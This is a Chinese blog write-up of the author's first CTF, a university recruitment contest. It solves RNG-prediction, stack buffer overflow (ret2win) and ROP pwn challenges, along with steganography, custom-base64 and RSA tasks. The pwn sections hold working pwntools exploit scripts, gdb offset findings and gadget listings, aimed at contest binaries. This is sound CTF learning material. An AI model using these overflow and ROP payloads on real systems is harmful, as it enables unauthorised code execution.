靠着神通广大的群友关系()混进了 HIT 的 CTF 队招新比赛,学到了很多姿势和 pwn 经验,故在此记录一下。
萌新菜鸡首发 CTF,题目比较简单,而且还没有 AK,神犇请自觉绕步(
还有 %%%%%% rxz mcfx
-
目录
- 环境准备
- pwn –game
- pwn – pwn-1-3-1
- pwn – pwn-1-3-1-1
- misc – Yankee with no brim
- crypto – 申必base64
- crypto – RSA-1
- 尾言
以上程序都可以在 ctf1pack 下载到~
-
环境准备
首先我们需要一台 Windows (用来运行一些工具,比如 IDA 、010Editor 等),和一台 Linux(用来写脚本)。我使用的是 Windows10 x64 + Ubuntu 18.04 amd64。
首先我们需要在 Ubuntu 上装一些好用的工具,python3 是肯定得先搞上的
1 2 |
sudo apt install python3 python3-pip python3 -m pip install --upgrade pip |
然后我们装上万能的 pwntools
1 |
python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3 |
再装上调试神器 gdb-peda
1 2 3 |
sudo apt install gdb git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit |
接着装上 ROPgadget
1 2 3 4 5 6 7 |
cd /tmp # Check and download the latest version by yourself wget https://github.com/JonathanSalwan/ROPgadget/archive/v6.3.zip unzip v6.3.zip sudo python3 ROPgadget-6.3/setup.py install # The installation failed for me, so I needed to copy files manually sudo cp -r ROPgadget-6.3/scripts /home/mnihyc/.local/lib/python3.6/site-packages/ROPGadget-6.3.dist-info/ |
继续安装 binwalk 及 foremost
1 2 3 4 5 6 |
cd /tmp git clone https://github.com/ReFirmLabs/binwalk cd binwalk sudo python3 setup.py install sudo apt install foremost |
最后安装 requests 和 gmpy2(pycryptodome)~~~
1 2 |
pip3 install requests pip3 install pycryptodome |
-
pwn – game
玩石头剪刀布,赢 100 次拿到 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 |
#include <stdio.h> #include <stdlib.h> #include <time.h> void printWelcomeMsg() { puts("Are you good at the game `Rock, Paper, Scissors`?"); puts("I'm going to play the game 100 times with you, and only if you win 100 times, I will give you the flag."); puts("That's quite easy, isn't it?"); puts(""); puts("input: 0 = Rock, 1 = Paper, 2 = Scissors"); fflush(stdout); } void printFlag() { puts(getenv("flag")); fflush(stdout); } int getInput() { char s[100]; scanf("%s", s); char ch = s[0]; if(ch < '0' || ch > '2') { puts("Oh, input is invalid."); exit(1); } return ch - '0'; } // Linux下的rand()与Windows下的rand()表现不同。 // 为了防止坑选手,我们自己造了一个rand. int num = 0; int myRand() { num = (num * num + 233) % 23333; return num; } void mySrand(unsigned int seed) { num = seed; } int playOnce() { printf("Input your choice> "); fflush(stdout); int ai = myRand() % 3; int player = getInput(); if(player == 1 && ai == 0) return 1; if(player == 2 && ai == 1) return 1; if(player == 0 && ai == 2) return 1; return 0; } void work() { mySrand(time(0) % 10); for(int x=0; x<100; x++) if(playOnce()) { printf("nice try (%d/100)\n", x+1); fflush(stdout); } else { puts("Oh no... You failed."); fflush(stdout); exit(0); } printFlag(); } int main(void) { printWelcomeMsg(); work(); return 0; } |
观察源代码,发现种子是 time(0)%10 ,即只要得到相同的 time 则后面随机生成的数都是可以算出来的。
这样就能做到稳赢 100 次了
然而再敲一个 C艹 来实现这个过程是非常令人崩溃的,这时候 python3 + pwntools 就是绝配了!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
from pwn import * import time print(time.time()) c=remote('xxx.xxx.xxx.xxx',30003) num=int(time.time()/1000)%10 for i in range(0,100): num = (num * num + 233) % 23333 ai=num%3 if ai==0: c.sendline('1') elif ai==1: c.sendline('2') else: c.sendline('0') print(c.recvline()) c.interactive() |
短短几行过后,我们成功拿到了 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
mnihyc@mnihyc:/tmp$ python3 120.py 1588437515.9302742 [+] Opening connection to xxx.xxx.xxx.xxx on port 30003: Done b'Are you good at the game `Rock, Paper, Scissors`?\n' b"I'm going to play the game 100 times with you, and only if you win 100 times, I will give you the flag.\" b"That's quite easy, isn't it?\n" b'\n' b'input: 0 = Rock, 1 = Paper, 2 = Scissors\n' b'Input your choice> nice try (1/100)\n' b'Input your choice> nice try (2/100)\n' b'Input your choice> nice try (3/100)\n' b'Input your choice> nice try (4/100)\n' b'Input your choice> nice try (5/100)\n' b'Input your choice> nice try (6/100)\n' b'Input your choice> nice try (7/100)\n' b'Input your choice> nice try (8/100)\n' (中间省略) b'Input your choice> nice try (95/100)\n' [*] Switching to interactive mode Input your choice> nice try (96/100) Input your choice> nice try (97/100) Input your choice> nice try (98/100) Input your choice> nice try (99/100) Input your choice> nice try (100/100) flag{pwntools_is_so_useful} [*] Got EOF while reading in interactive |
-
pwn – pwn-1-3-1
只有一个 LSB 文件,打开 IDA 把它扔进去
发现 buf 只有 256byte,而 read 一下读了 0x200uLL 进来,是个典型的缓冲区溢出。
同时在函数列表中发现 get_flag(),一个 F5 下去看看
意思就是只要控制程序执行到 get_flag() 就可以成功拿到 flag
用 checksec 等查看程序的信息
1 2 3 4 5 6 7 |
mnihyc@mnihyc:/tmp$ python3 -c 'from pwn import *; ELF("pwn-1-3-1");' [*] '/tmp/pwn-1-3-1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) |
发现启用了 NX(DEP),所以无法插入 shellcode,故使用 ROP 类方法。
同时发现没有开 PIE(非 ASLR),所以可以直接插函数地址进去。
在 IDA 里找到导出函数的地址:
然后使用 gdb-peda 找到使缓冲区溢出至 $RSP(溢出时指向 $RIP) 需要的字节数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
mnihyc@proxy4:/tmp$ gdb GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git gdb-peda$ pattern_create 400 in.txt Writing pattern of 400 chars to filename "in.txt" gdb-peda$ file pwn-1-3-1 Reading symbols from pwn-1-3-1...done. gdb-peda$ r < in.txt Starting program: /tmp/pwn-1-3-1 < in.txt 请开始你的表演: Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x15555504b081 (<__GI___libc_read+17>: cmp rax,0xfffffffffffff000) RDX: 0x200 RSI: 0x7fffffffe360 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...) RDI: 0x0 RBP: 0x3425416525414925 ('%IA%eA%4') RSP: 0x7fffffffe478 ("A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") RIP: 0x4007fa (<main+99>: ret) R8 : 0x16 R9 : 0x1555555474c0 (0x00001555555474c0) R10: 0x3 R11: 0x246 R12: 0x400610 (<_start>: xor ebp,ebp) R13: 0x7fffffffe550 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4007ef <main+88>: call 0x4005c0 <read@plt> 0x4007f4 <main+93>: mov eax,0x0 0x4007f9 <main+98>: leave => 0x4007fa <main+99>: ret 0x4007fb: nop DWORD PTR [rax+rax*1+0x0] 0x400800 <__libc_csu_init>: push r15 0x400802 <__libc_csu_init+2>: push r14 0x400804 <__libc_csu_init+4>: mov r15d,edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe478 ("A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0008| 0x7fffffffe480 ("5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0016| 0x7fffffffe488 ("%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0024| 0x7fffffffe490 ("A%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0032| 0x7fffffffe498 ("iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0040| 0x7fffffffe4a0 ("%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0048| 0x7fffffffe4a8 ("A%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0056| 0x7fffffffe4b0 ("lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004007fa in main () at pwn5.c:32 32 pwn5.c: No such file or directory. gdb-peda$ x/wx $rsp 0x7fffffffe478: 0x414a2541 gdb-peda$ pattern offset 0x414a2541 1095378241 found at offset: 280 gdb-peda$ |
于是直接覆盖 $RSP ($RIP)至 get_flag() 的函数地址,就可以拿到 flag 了!
1 2 3 4 5 6 7 |
from pwn import * c=remote('xxx.xxx.xxx.xxx',4005) p=b'C'*280 + p64(0x0000000000400728) c.recvline() c.sendline(p) c.interactive() |
1 2 3 4 5 6 7 |
mnihyc@mnihyc:/tmp$ python3 4005.py [+] Opening connection to xxx.xxx.xxx.xxx on port 4005: Done [*] Switching to interactive mode ncongrats, here is the flag flag{It_1s_amazing_to_overwrite_return_address} tql!!! [*] Got EOF while reading in interactive |
-
pwn – pwn-1-3-1-1
同样,拿到 ELF 64-bit LSB executable 后直接扔进 IDA 并且 F5
这个 main() 好像没啥区别,同样进入 get_flag()
发现这个函数现在带了个参数,而且还得通过 validate() 的验证
然而这个验证实际上没啥用((,因为我们想要的 flag 在 ./flag 处
所以现在的问题是如何使程序执行到 get_flag() ,并带个参数 path=”./flag” ?
这里需要注意的是 x86 下函数的参数传递完全靠的是从右到左的栈操作,而 amd64 下参数的传递首先靠的是 $RDI、$RSI、$RDX、$RCX、$R8、$R9 这六个寄存器,存满了才开始用栈操作。
所以要控制 get_flag() 中的第一个参数 path,就是要控制 $RDI。
使用 ROPgadget 查找 pop rdi; ret 的操作,拿来做 gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
mnihyc@mnihyc:/tmp$ ROPgadget --binary ./pwn-1-3-1-1 --only "pop|ret" Gadgets information ============================================================ 0x00000000004008fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004008fe : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400900 : pop r14 ; pop r15 ; ret 0x0000000000400902 : pop r15 ; ret 0x00000000004008fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004008ff : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004006b0 : pop rbp ; ret 0x0000000000400903 : pop rdi ; ret 0x0000000000400901 : pop rsi ; pop r15 ; ret 0x00000000004008fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004005a9 : ret Unique gadgets found: 11 |
成功找到 pop rdi; ret,在 0x0000000000400903 处
注意,pop rdi 仅是把堆栈中字符串的地址 pop 到 $RDI,所以我们需要有一块内存区域存放字符串 “./flag”
而幸运的是,程序里自带了这个字符串
1 2 3 4 5 6 7 8 9 |
mnihyc@mnihyc:/tmp$ python3 -c 'from pwn import *; e=ELF("pwn-1-3-1-1"); \ print("%x"%next(e.search(b"./flag")))' [*] '/tmp/pwn-1-3-1-1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) 40093e |
$RSP 在 ret 后从指向 $RIP(被修改为 pop rdi; ret 的地址)上移,并且执行 pop 后继续上移到了新的 $RIP(被修改为 get_flag() 的地址),而后执行 ret 并转跳执行。
最后根据 pwn-1-3-1 的方法找出溢出 offset,就可以构造 exploit 了
1 2 3 4 5 6 7 8 9 10 |
from pwn import * c=remote('xxx.xxx.xxx.xxx',4006) c.recvline() e=ELF('pwn-1-3-1-1') funcaddr=e.symbols['get_flag'] flagaddr=next(e.search(b'./flag')) popaddr=0x0000000000400903 payload = b'C'*280 + p64(popaddr) + p64(flagaddr) + p64(funcaddr) c.sendline(payload) c.interactive() |
1 2 3 4 5 6 7 8 9 10 11 12 |
mnihyc@mnihyc:/tmp$ python3 rop.py [+] Opening connection to xxx.xxx.xxx.xxx on port 4006: Done [*] '/tmp/pwn-1-3-1-1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Switching to interactive mode flag{ROP_is_really_rea11y_useful!!} bye bye [*] Got EOF while reading in interactive |
-
misc – Yankee with no brim
拿到手是这样一张图片
尝试用 StegSolve 查找 LSB 隐写,查找特殊字符串,均无果
于是用 binwalk 查找特殊文件头
1 2 3 4 5 6 7 |
mnihyc@mnihyc:/tmp$ binwalk ywnb.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 7596 0x1DAC PNG image, 600 x 500, 8-bit/color RGBA, non-interlaced 7687 0x1E07 Zlib compressed data, compressed |
发现里面还藏了张 png,遂用 foremost 提取出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
File: ywnb.jpg Start: Sun May 3 08:11:42 2020 Length: 198 KB (203497 bytes) Num Name (bs=512) Size File Offset Comment 0: 00000000.jpg 7 KB 0 1: 00000014.png 191 KB 7596 (600 x 500) Finish: Sun May 3 08:11:42 2020 2 FILES EXTRACTED jpg:= 1 png:= 1 |
然而这张 png 打开也没啥特殊的(Windows 受害者来了)
经过网上搜索资料(场外支援www)发现可以通过修改 PNG 图像的宽/高来达到隐藏文字的效果,这在 Linux 下查看时会报错
用 010Editor 打开此 PNG,分析结构,将代表 height 的数字随意调大一些
就拿到了 flag
-
crypto – 申必base64
给了经过自定义码表加密的 cipher.txt 以及明文 plain.txt
然后硬着头皮去学了学 base64 是咋加密的(
因为 base64 加密的过程只是在码表里对应位置查某一字符的 hash 值,所以把 base64 加解密的代码抄下来改改就可以拿到 flag 了
(因为代码都是抄的所以码风及其混乱www)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 |
#include <cstdio> #include <cstring> #include <cassert> #include <stdint.h> unsigned char base64Table[65]; unsigned char base64[]="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"; unsigned char pla[]="We set sail on this new sea because there is new knowledge to be gained, and new rights to be won, and they must be won and used for the progress of all people. For space science, like nuclear science and all technology, has no conscience of its own. Whether it will become a force for good or ill depends on man, and only if the United States occupies a position of pre-eminence can we help decide whether this new ocean will be a sea of peace or a new terrifying theater of war. I do not say that we should or will go unprotected against the hostile misuse of space any more than we go unprotected against the hostile use of land or sea, but I do say that space can be explored and mastered without feeding the fires of war, without repeating the mistakes that man has made in extending his writ around this globe of ours.\nThere is no strife, no prejudice, no national conflict in outer space as yet. Its hazards are hostile to us all. Its conquest deserves the best of all mankind, and its opportunity for peaceful cooperation may never come again. But why, some say, the Moon? Why choose this as our goal? And they may well ask, why climb the highest mountain? Why, 35 years ago, fly the Atlantic? Why does Rice play Texas?\nWe choose to go to the Moon! We choose to go to the Moon...We choose to go to the Moon in this decade and do the other things, not because they are easy, but because they are hard; because that goal will serve to organize and measure the best of our energies and skills, because that challenge is one that we are willing to accept, one we are unwilling to postpone, and one we intend to win, and the others, too.\n"; char * base64_encode(const unsigned char * bindata, const unsigned char*base64, int binlength) { int i, j; unsigned char current; for (i = 0, j = 0; i < binlength; i += 3) { current = (bindata[i] >> 2); current &= (unsigned char)0x3F; assert(!base64Table[(int)current] || base64Table[(int)current]==base64[j]); base64Table[(int)current] = base64[j++]; current = ((unsigned char)(bindata[i] << 4)) & ((unsigned char)0x30); if (i + 1 >= binlength) { assert(!base64Table[(int)current] || base64Table[(int)current]==base64[j]); base64Table[(int)current] = base64[j++]; base64[j++];// = '='; base64[j++];// = '='; break; } current |= ((unsigned char)(bindata[i + 1] >> 4)) & ((unsigned char)0x0F); assert(!base64Table[(int)current] || base64Table[(int)current]==base64[j]); base64Table[(int)current] = base64[j++]; current = ((unsigned char)(bindata[i + 1] << 2)) & ((unsigned char)0x3C); if (i + 2 >= binlength) { assert(!base64Table[(int)current] || base64Table[(int)current]==base64[j]); base64Table[(int)current] = base64[j++]; base64[j++];// = '='; break; } current |= ((unsigned char)(bindata[i + 2] >> 6)) & ((unsigned char)0x03); assert(!base64Table[(int)current] || base64Table[(int)current]==base64[j]); base64Table[(int)current] = base64[j++]; current = ((unsigned char)bindata[i + 2]) & ((unsigned char)0x3F); assert(!base64Table[(int)current] || base64Table[(int)current]==base64[j]); base64Table[(int)current] = base64[j++]; } //base64[j] = '\0'; //return base64; } unsigned char decoding_table[256]; void build_decoding_table() { memset(decoding_table,0,sizeof(decoding_table)); for (int i = 0; i < 64; i++) decoding_table[(unsigned char) base64Table[i]] = i; } unsigned char decoded_data[1048576]; unsigned char *base64_decode(const unsigned char *data, size_t input_length, size_t *output_length) { build_decoding_table(); if (input_length % 4 != 0) return NULL; *output_length = input_length / 4 * 3; if (data[input_length - 1] == '=') (*output_length)--; if (data[input_length - 2] == '=') (*output_length)--; for (int i = 0, j = 0; i < input_length;) { uint32_t sextet_a = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; uint32_t sextet_b = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; uint32_t sextet_c = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; uint32_t sextet_d = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; uint32_t triple = (sextet_a << 3 * 6) + (sextet_b << 2 * 6) + (sextet_c << 1 * 6) + (sextet_d << 0 * 6); if (j < *output_length) decoded_data[j++] = (triple >> 2 * 8) & 0xFF; if (j < *output_length) decoded_data[j++] = (triple >> 1 * 8) & 0xFF; if (j < *output_length) decoded_data[j++] = (triple >> 0 * 8) & 0xFF; } } int main() { base64_encode(pla,base64,strlen((const char*)pla)); for(int i=0;i<64;i++) printf("%c",base64Table[i]); size_t t; base64_decode(base64,strlen((const char*)base64),&t); printf("\n%s",decoded_data); } |
-
crypto – RSA-1
给了个 rsa-1.py
1 2 3 4 5 6 7 8 |
p = 252647779892687905173761792949656998433 q = 290615416181922737045361451171930371659 r = 281613259213037257262703439109757908501 n = p * q * r e = 0x10001 print(pow(flag, e, n)) # 1169612223485519024207841670191078798101684935551461601922416127588930439758194701318838707953651437973827125265577 |
也是硬着头皮去学了学 RSA 加密,发现比预计的简单一点((
虽然这里有 p q r 三个质数,但是 e d n 加解密那一套还是通用的,毕竟没有用到 CRT(笑
1 2 3 4 5 6 7 8 9 |
import gmpy2 p = gmpy2.mpz(252647779892687905173761792949656998433) q = gmpy2.mpz(290615416181922737045361451171930371659) r = gmpy2.mpz(281613259213037257262703439109757908501) n=p*q*r e = gmpy2.mpz(0x10001) phin=(p-1)*(q-1)*(r-1) d=gmpy2.invert(e,phin) print('%x'%pow(1169612223485519024207841670191078798101684935551461601922416127588930439758194701318838707953651437973827125265577,d,n)) |
直接解密即可
-
尾言
不得不说萌新的第一次 CTF 经历对咱启发还是挺大的qwq
除了 web 那部分感觉比较简单,其他题都是对咱萌新菜鸡的挑战qqq
不仅学到了挺多东西,同时还混水混到了 Rank#5 (((
%%%%%%%%%%%%% rxz mcfx woshiluo Ciel QAQAutoMaton 以及其他所有群友
是我太菜了就对了(还有三道题做不出来(
太您了我也想学.jpg
我是菜逼qwq